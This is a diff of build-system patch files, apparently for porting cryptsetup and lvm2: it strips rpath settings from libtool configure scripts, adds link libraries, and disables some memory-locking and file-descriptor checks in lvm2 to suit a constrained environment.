cryptsetup-2.3.3/configure allow_undefined_flag="-z nodefs" archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\$wl$no_entry_flag"' $compiler_flags $wl$allow_undefined_flag '"\$wl$exp_sym_flag:\$export_symbols" else -@@ -10843,7 +10843,7 @@ +@@ -11697,7 +11697,7 @@ aix_libpath=$lt_cv_aix_libpath_ fi @@ -114,7 +114,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. no_undefined_flag=' $wl-bernotok' -@@ -10883,7 +10883,7 @@ +@@ -11737,7 +11737,7 @@ ;; m68k) archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' @@ -123,25 +123,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_minus_L=yes ;; esac -@@ -10901,7 +10901,7 @@ - case $cc_basename in - cl*) - # Native MSVC -- hardcode_libdir_flag_spec=' ' -+ hardcode_libdir_flag_spec=" " - allow_undefined_flag=unsupported - always_export_symbols=yes - file_list_spec='@' -@@ -10942,7 +10942,7 @@ - ;; - *) - # Assume MSVC wrapper -- hardcode_libdir_flag_spec=' ' -+ hardcode_libdir_flag_spec=" " - allow_undefined_flag=unsupported - # Tell ltmain to make .lib files, not .a files. - libext=lib -@@ -10993,7 +10993,7 @@ +@@ -11847,7 +11847,7 @@ dgux*) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' @@ -150,7 +132,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_shlibpath_var=no ;; -@@ -11003,7 +11003,7 @@ +@@ -11857,7 +11857,7 @@ # extra space). freebsd2.2*) archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' @@ -159,16 +141,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_direct=yes hardcode_shlibpath_var=no ;; -@@ -11019,7 +11019,7 @@ - # FreeBSD 3 and greater uses gcc -shared to do shared libraries. - freebsd* | dragonfly*) - archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' -- hardcode_libdir_flag_spec='-R$libdir' -+ hardcode_libdir_flag_spec=" " - hardcode_direct=yes - hardcode_shlibpath_var=no - ;; -@@ -11030,7 +11030,7 @@ +@@ -11884,7 +11884,7 @@ else archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' fi @@ -177,7 +150,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: hardcode_direct=yes -@@ -11047,7 +11047,7 @@ +@@ -11901,7 +11901,7 @@ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' fi if test no = "$with_gnu_ld"; then @@ -186,7 +159,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: hardcode_direct=yes hardcode_direct_absolute=yes -@@ -11124,7 +11124,7 @@ +@@ -11979,7 +11979,7 @@ esac fi if test no = "$with_gnu_ld"; then @@ -195,7 +168,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: case $host_cpu in -@@ -11183,7 +11183,7 @@ +@@ -12040,7 +12040,7 @@ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -exports_file $export_symbols -o $lib' fi archive_cmds_need_lc='no' @@ -204,7 +177,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: inherit_rpath=yes link_all_deplibs=yes -@@ -11205,7 +11205,7 @@ +@@ -12062,7 +12062,7 @@ else archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF fi @@ -213,7 +186,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_direct=yes hardcode_shlibpath_var=no ;; -@@ -11213,7 +11213,7 @@ +@@ -12070,7 +12070,7 @@ newsos6) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_direct=yes @@ -222,7 +195,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: hardcode_shlibpath_var=no ;; -@@ -11229,11 +11229,11 @@ +@@ -12086,11 +12086,11 @@ if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags $wl-retain-symbols-file,$export_symbols' @@ -236,7 +209,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure fi else ld_shlibs=no -@@ -11241,7 +11241,7 @@ +@@ -12098,7 +12098,7 @@ ;; os2*) @@ -245,7 +218,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_minus_L=yes allow_undefined_flag=unsupported shrext_cmds=.dll -@@ -11277,7 +11277,7 @@ +@@ -12134,7 +12134,7 @@ archive_cmds='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' fi archive_cmds_need_lc='no' @@ -254,7 +227,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=: ;; -@@ -11285,7 +11285,7 @@ +@@ -12142,7 +12142,7 @@ if test yes = "$GCC"; then allow_undefined_flag=' $wl-expect_unresolved $wl\*' archive_cmds='$CC -shared$allow_undefined_flag $pic_flag $libobjs $deplibs $compiler_flags $wl-msym $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' @@ -263,7 +236,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure else allow_undefined_flag=' -expect_unresolved \*' archive_cmds='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' -@@ -11293,7 +11293,7 @@ +@@ -12150,7 +12150,7 @@ $CC -shared$allow_undefined_flag $wl-input $wl$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib~$RM $lib.exp' # Both c and cxx compiler support -rpath directly @@ -272,7 +245,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure fi archive_cmds_need_lc='no' hardcode_libdir_separator=: -@@ -11322,7 +11322,7 @@ +@@ -12179,7 +12179,7 @@ ;; esac fi @@ -281,7 +254,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_shlibpath_var=no case $host_os in solaris2.[0-5] | solaris2.[0-5].*) ;; -@@ -11349,7 +11349,7 @@ +@@ -12206,7 +12206,7 @@ else archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' fi @@ -290,7 +263,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_direct=yes hardcode_minus_L=yes hardcode_shlibpath_var=no -@@ -11419,7 +11419,7 @@ +@@ -12276,7 +12276,7 @@ allow_undefined_flag='$wl-z,nodefs' archive_cmds_need_lc=no hardcode_shlibpath_var=no @@ -299,7 +272,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator=':' link_all_deplibs=yes export_dynamic_flag_spec='$wl-Bexport' -@@ -11436,7 +11436,7 @@ +@@ -12293,7 +12293,7 @@ uts4*) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' @@ -308,7 +281,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_shlibpath_var=no ;; -@@ -11804,7 +11804,7 @@ +@@ -12662,7 +12662,7 @@ version_type=linux # correct to gnu/linux during the next big refactor need_lib_prefix=no need_version=no @@ -317,7 +290,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure if test ia64 = "$host_cpu"; then # AIX 5 supports IA64 library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' -@@ -12094,16 +12094,16 @@ +@@ -12952,16 +12952,16 @@ ;; freebsd3.[01]* | freebsdelf3.[01]*) shlibpath_overrides_runpath=yes @@ -337,7 +310,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; esac ;; -@@ -12118,7 +12118,7 @@ +@@ -12976,7 +12976,7 @@ shlibpath_var=LIBRARY_PATH shlibpath_overrides_runpath=no sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' @@ -346,7 +319,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; hpux9* | hpux10* | hpux11*) -@@ -12130,7 +12130,7 @@ +@@ -12988,7 +12988,7 @@ case $host_cpu in ia64*) shrext_cmds='.so' @@ -355,7 +328,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure dynamic_linker="$host_os dld.so" shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -12146,7 +12146,7 @@ +@@ -13004,7 +13004,7 @@ ;; hppa*64*) shrext_cmds='.sl' @@ -364,7 +337,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure dynamic_linker="$host_os dld.sl" shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -12179,7 +12179,7 @@ +@@ -13037,7 +13037,7 @@ dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -373,7 +346,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; irix5* | irix6* | nonstopux*) -@@ -12216,7 +12216,7 @@ +@@ -13074,7 +13074,7 @@ shlibpath_overrides_runpath=no sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" @@ -382,7 +355,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; # No shared lib support for Linux oldld, aout, or coff. -@@ -12237,11 +12237,11 @@ +@@ -13095,11 +13095,11 @@ # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. @@ -396,7 +369,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; # This must be glibc/ELF. -@@ -12292,7 +12292,7 @@ +@@ -13153,7 +13153,7 @@ # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. @@ -405,7 +378,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure # Ideally, we could use ldconfig to report *all* directores which are # searched for libraries, however this is still not possible. Aside from not -@@ -12322,7 +12322,7 @@ +@@ -13183,7 +13183,7 @@ soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -414,7 +387,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure dynamic_linker='NetBSD ld.elf_so' ;; -@@ -12341,7 +12341,7 @@ +@@ -13202,7 +13202,7 @@ fi shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -423,7 +396,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; newsos6) -@@ -12359,7 +12359,7 @@ +@@ -13220,7 +13220,7 @@ soname_spec='$libname$release$shared_ext$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -432,7 +405,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure dynamic_linker='ldqnx.so' ;; -@@ -12431,7 +12431,7 @@ +@@ -13292,7 +13292,7 @@ soname_spec='$libname$release$shared_ext$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -441,7 +414,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure # ldd complains unless libraries are executable postinstall_cmds='chmod +x $lib' ;; -@@ -12488,7 +12488,7 @@ +@@ -13349,7 +13349,7 @@ soname_spec='$libname$release$shared_ext$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes @@ -450,7 +423,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure if test yes = "$with_gnu_ld"; then sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' else -@@ -12510,7 +12510,7 @@ +@@ -13371,7 +13371,7 @@ library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no @@ -459,7 +432,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure ;; uts4*) -@@ -13610,7 +13610,7 @@ +@@ -14490,7 +14490,7 @@ acl_shlibext="$acl_cv_shlibext" acl_libname_spec="$acl_cv_libname_spec" acl_library_names_spec="$acl_cv_library_names_spec" @@ -468,7 +441,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure acl_hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator" acl_hardcode_direct="$acl_cv_hardcode_direct" acl_hardcode_minus_L="$acl_cv_hardcode_minus_L" -@@ -21296,7 +21296,7 @@ +@@ -22538,7 +22538,7 @@ with_gnu_ld='`$ECHO "$with_gnu_ld" | $SED "$delay_single_quote_subst"`' allow_undefined_flag='`$ECHO "$allow_undefined_flag" | $SED "$delay_single_quote_subst"`' no_undefined_flag='`$ECHO "$no_undefined_flag" | $SED "$delay_single_quote_subst"`' @@ -477,7 +450,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure hardcode_libdir_separator='`$ECHO "$hardcode_libdir_separator" | $SED "$delay_single_quote_subst"`' hardcode_direct='`$ECHO "$hardcode_direct" | $SED "$delay_single_quote_subst"`' hardcode_direct_absolute='`$ECHO "$hardcode_direct_absolute" | $SED "$delay_single_quote_subst"`' -@@ -21327,7 +21327,7 @@ +@@ -22569,7 +22569,7 @@ postuninstall_cmds='`$ECHO "$postuninstall_cmds" | $SED "$delay_single_quote_subst"`' finish_cmds='`$ECHO "$finish_cmds" | $SED "$delay_single_quote_subst"`' finish_eval='`$ECHO "$finish_eval" | $SED "$delay_single_quote_subst"`' @@ -486,7 +459,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure sys_lib_search_path_spec='`$ECHO "$sys_lib_search_path_spec" | $SED "$delay_single_quote_subst"`' configure_time_dlsearch_path='`$ECHO "$configure_time_dlsearch_path" | $SED "$delay_single_quote_subst"`' configure_time_lt_sys_library_path='`$ECHO "$configure_time_lt_sys_library_path" | $SED "$delay_single_quote_subst"`' -@@ -22485,7 +22485,7 @@ +@@ -23727,7 +23727,7 @@ finish_eval=$lt_finish_eval # Whether we should hardcode library paths into libraries. @@ -495,7 +468,7 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure # Compile-time system search path for libraries. sys_lib_search_path_spec=$lt_sys_lib_search_path_spec -@@ -22582,7 +22582,7 @@ +@@ -23824,7 +23824,7 @@ # Flag to hardcode \$libdir into a binary during linking. # This must work even if \$libdir does not exist @@ -504,10 +477,10 @@ diff -u -r cryptsetup-2.3.3-clean/configure cryptsetup-2.3.3/configure # Whether we need a single "-rpath" flag with a separated argument. hardcode_libdir_separator=$lt_hardcode_libdir_separator -diff -u -r cryptsetup-2.3.3-clean/Makefile.in cryptsetup-2.3.3/Makefile.in ---- cryptsetup-2.3.3-clean/Makefile.in 2020-06-10 14:05:45.781594282 +0200 -+++ cryptsetup-2.3.3/Makefile.in 2020-06-10 14:30:09.512375745 +0200 -@@ -1032,6 +1032,8 @@ +diff -u -r cryptsetup-2.4.3-clean/Makefile.in cryptsetup-2.4.3/Makefile.in +--- cryptsetup-2.4.3-clean/Makefile.in 2022-01-13 17:24:33.000000000 +0800 ++++ cryptsetup-2.4.3/Makefile.in 2022-01-16 14:08:37.096258854 +0800 +@@ -1115,6 +1115,8 @@ @CRYPTSETUP_TRUE@cryptsetup_LDADD = $(LDADD) \ @CRYPTSETUP_TRUE@ libcryptsetup.la \ @CRYPTSETUP_TRUE@ @POPT_LIBS@ \ @@ -516,31 +489,218 @@ diff -u -r cryptsetup-2.3.3-clean/Makefile.in cryptsetup-2.3.3/Makefile.in @CRYPTSETUP_TRUE@ @PWQUALITY_LIBS@ \ @CRYPTSETUP_TRUE@ @PASSWDQC_LIBS@ \ @CRYPTSETUP_TRUE@ @UUID_LIBS@ \ -@@ -1060,6 +1062,9 @@ +@@ -1147,6 +1149,9 @@ @VERITYSETUP_TRUE@veritysetup_LDADD = $(LDADD) \ @VERITYSETUP_TRUE@ libcryptsetup.la \ @VERITYSETUP_TRUE@ @POPT_LIBS@ \ -+@VERITYSETUP_TRUE@ @UUID_LIBS@ \ -+@VERITYSETUP_TRUE@ @DEVMAPPER_LIBS@ \ -+@VERITYSETUP_TRUE@ @JSON_C_LIBS@ \ - @VERITYSETUP_TRUE@ @PWQUALITY_LIBS@ \ - @VERITYSETUP_TRUE@ @PASSWDQC_LIBS@ \ ++@VERITYSETUP_TRUE@ @UUID_LIBS@ \ ++@VERITYSETUP_TRUE@ @DEVMAPPER_LIBS@ \ ++@VERITYSETUP_TRUE@ @JSON_C_LIBS@ \ @VERITYSETUP_TRUE@ @BLKID_LIBS@ -@@ -1093,6 +1093,8 @@ + + @STATIC_TOOLS_TRUE@@VERITYSETUP_TRUE@veritysetup_static_SOURCES = $(veritysetup_SOURCES) +@@ -1177,6 +1182,8 @@ @INTEGRITYSETUP_TRUE@ libcryptsetup.la \ @INTEGRITYSETUP_TRUE@ @POPT_LIBS@ \ @INTEGRITYSETUP_TRUE@ @UUID_LIBS@ \ +@INTEGRITYSETUP_TRUE@ @DEVMAPPER_LIBS@ \ +@INTEGRITYSETUP_TRUE@ @JSON_C_LIBS@ \ @INTEGRITYSETUP_TRUE@ @BLKID_LIBS@ - + @INTEGRITYSETUP_TRUE@@STATIC_TOOLS_TRUE@integritysetup_static_SOURCES = $(integritysetup_SOURCES) -@@ -1122,6 +1122,8 @@ - @REENCRYPT_TRUE@ @POPT_LIBS@ \ - @REENCRYPT_TRUE@ @PWQUALITY_LIBS@ \ - @REENCRYPT_TRUE@ @PASSWDQC_LIBS@ \ -+@REENCRYPT_TRUE@ @DEVMAPPER_LIBS@ \ -+@REENCRYPT_TRUE@ @JSON_C_LIBS@ \ - @REENCRYPT_TRUE@ @UUID_LIBS@ \ - @REENCRYPT_TRUE@ @BLKID_LIBS@ +--- ./configure.orig 2023-11-26 14:22:30.912000000 -0500 ++++ ./configure 2023-11-26 14:26:21.714000000 -0500 +@@ -12336,7 +12336,7 @@ + + case $cc_basename in + tcc*) +- hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' ++ hardcode_libdir_flag_spec=" " + export_dynamic_flag_spec='-rdynamic' + ;; + xlf* | bgf* | bgxlf* | mpixlf*) +@@ -12755,7 +12755,7 @@ + case $cc_basename in + cl* | icl*) + # Native MSVC or ICC +- hardcode_libdir_flag_spec=' ' ++ hardcode_libdir_flag_spec=" " + allow_undefined_flag=unsupported + always_export_symbols=yes + file_list_spec='@' +@@ -12796,7 +12796,7 @@ + ;; + *) + # Assume MSVC and ICC wrapper +- hardcode_libdir_flag_spec=' ' ++ hardcode_libdir_flag_spec=" " + allow_undefined_flag=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib +@@ -12873,7 +12873,7 @@ + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | dragonfly* | midnightbsd*) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' +- hardcode_libdir_flag_spec='-R$libdir' ++ hardcode_libdir_flag_spec=" " + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; +@@ -13052,7 +13052,7 @@ + # Fabrice Bellard et al's Tiny C Compiler + ld_shlibs=yes + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' +- hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' ++ hardcode_libdir_flag_spec=" " + ;; + esac + ;; +--- ./configure.mod 2023-11-26 14:46:49.779000000 -0500 ++++ ./configure 2023-11-26 14:47:56.962000000 -0500 +@@ -17670,7 +17670,7 @@ + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test ia64 = "$host_cpu"; then + # AIX 5 supports IA64 + library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' +@@ -17958,16 +17958,16 @@ + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ + freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + esac + ;; +@@ -17982,7 +17982,7 @@ + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=no + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + hpux9* | hpux10* | hpux11*) +@@ -17994,7 +17994,7 @@ + case $host_cpu in + ia64*) + shrext_cmds='.so' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -18010,7 +18010,7 @@ + ;; + hppa*64*) + shrext_cmds='.sl' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -18043,7 +18043,7 @@ + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + irix5* | irix6* | nonstopux*) +@@ -18080,7 +18080,7 @@ + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" + sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + # No shared lib support for Linux oldld, aout, or coff. +@@ -18101,7 +18101,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + dynamic_linker='Android linker' + # Don't embed -rpath directories since the linker doesn't support them. +@@ -18159,7 +18159,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + # Ideally, we could use ldconfig to report *all* directores which are + # searched for libraries, however this is still not possible. Aside from not +@@ -18189,7 +18189,7 @@ + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker='NetBSD ld.elf_so' + ;; + +@@ -18208,7 +18208,7 @@ + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + newsos6) +@@ -18226,7 +18226,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker='ldqnx.so' + ;; + +@@ -18298,7 +18298,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; +@@ -18355,7 +18355,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test yes = "$with_gnu_ld"; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else +@@ -18377,7 +18377,7 @@ + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + uts4*) diff --git a/patches/lvm2-2.03.23.patch b/patches/lvm2-2.03.23.patch new file mode 100644 index 000000000..587e1bb69 --- /dev/null +++ b/patches/lvm2-2.03.23.patch @@ -0,0 +1,150 @@ +--- ./lib/mm/memlock.c.orig 2023-11-27 13:52:46.281000000 -0500 ++++ ./lib/mm/memlock.c 2023-11-27 13:56:35.656000000 -0500 +@@ -160,6 +160,7 @@ + + static void _allocate_memory(void) + { ++#if 0 + #if defined(__GLIBC__) && !defined(VALGRIND_POOL) + /* Memory allocation is currently only tested with glibc + * for different C libraries, some other mechanisms might be needed +@@ -233,11 +234,14 @@ + for (i = 0; i < area; ++i) + free(areas[i]); + #endif ++#endif + } + + static void _release_memory(void) + { ++#if 0 + free(_malloc_mem); ++#endif + } + + /* +@@ -313,7 +317,7 @@ + + if (lock == LVM_MLOCK) { + if (mlock((const void*)from, sz) < 0) { +- log_sys_error("mlock", line); ++ //log_sys_error("mlock", line); + return 0; + } + } else { +--- ./libdm/libdm-stats.c.orig 2023-11-27 13:59:40.677000000 -0500 ++++ ./libdm/libdm-stats.c 2023-11-27 14:07:28.655000000 -0500 +@@ -18,7 +18,23 @@ + #include "libdm/misc/dmlib.h" + #include "libdm/misc/kdev_t.h" + ++#if 0 + #include "math.h" /* log10() */ ++#else ++static int ilog10(double x) ++{ ++ int e = 0; ++ ++ while(x > 10) ++ { ++ e++; ++ x = x / 10; ++ } ++ ++ return e; ++} ++#endif ++ + + #include + #include +@@ -556,7 +572,12 @@ + while(entry >= bins) { + value = (double) (entry--)->upper; + /* Use lround to avoid size_t -> double cast warning. */ ++#if 0 + hist_len += 1 + (size_t) lround(log10(value / scale)); ++#else ++ hist_len += 1 + ilog10(value / scale); ++#endif ++ + if (entry != bins) + hist_len++; /* ',' */ + } +@@ -1863,7 +1884,12 @@ + i = dm_bit_get_first(regions); + for (; i >= 0; i = dm_bit_get_next(regions, i)) { + /* length of region_id or range start in characters */ ++#if 0 + id_len = (i) ? 1 + (size_t) log10(i) : 1; ++#else ++ id_len = (i) ? 1 + ilog10(i) : 1; ++#endif ++ + buflen += id_len; + j = i; + do +@@ -1878,7 +1904,11 @@ + /* handle range */ + if (i != j) { + /* j is always > i, which is always >= 0 */ ++#if 0 + id_len = 1 + (size_t) log10(j); ++#else ++ id_len = 1 + ilog10(j); ++#endif + buflen += id_len + 1; /* range end plus "-" */ + } + buflen++; + +--- ./tools/lvmcmdline.c.orig 2023-11-27 14:12:46.649000000 -0500 ++++ ./tools/lvmcmdline.c 2023-11-27 14:15:47.563000000 -0500 +@@ -3438,7 +3438,7 @@ + static int _check_standard_fds(void) + { + int err = is_valid_fd(STDERR_FILENO); +- ++#if 0 + if (!is_valid_fd(STDIN_FILENO) && + !(stdin = fopen(_PATH_DEVNULL, "r"))) { + if (err) +@@ -3463,7 +3463,7 @@ + strerror(errno)); + return 0; + } +- ++#endif + return 1; + } + +@@ -3644,7 +3644,7 @@ + */ + dm_set_name_mangling_mode(DM_STRING_MANGLING_NONE); + +- if (!(cmd = create_toolcontext(0, NULL, 1, threaded, set_connections, set_filters))) { ++ if (!(cmd = create_toolcontext(0, NULL, 0, threaded, set_connections, set_filters))) { + return_NULL; + } + +--- ./make.tmpl.orig 2023-11-28 13:29:11.744000000 -0500 ++++ 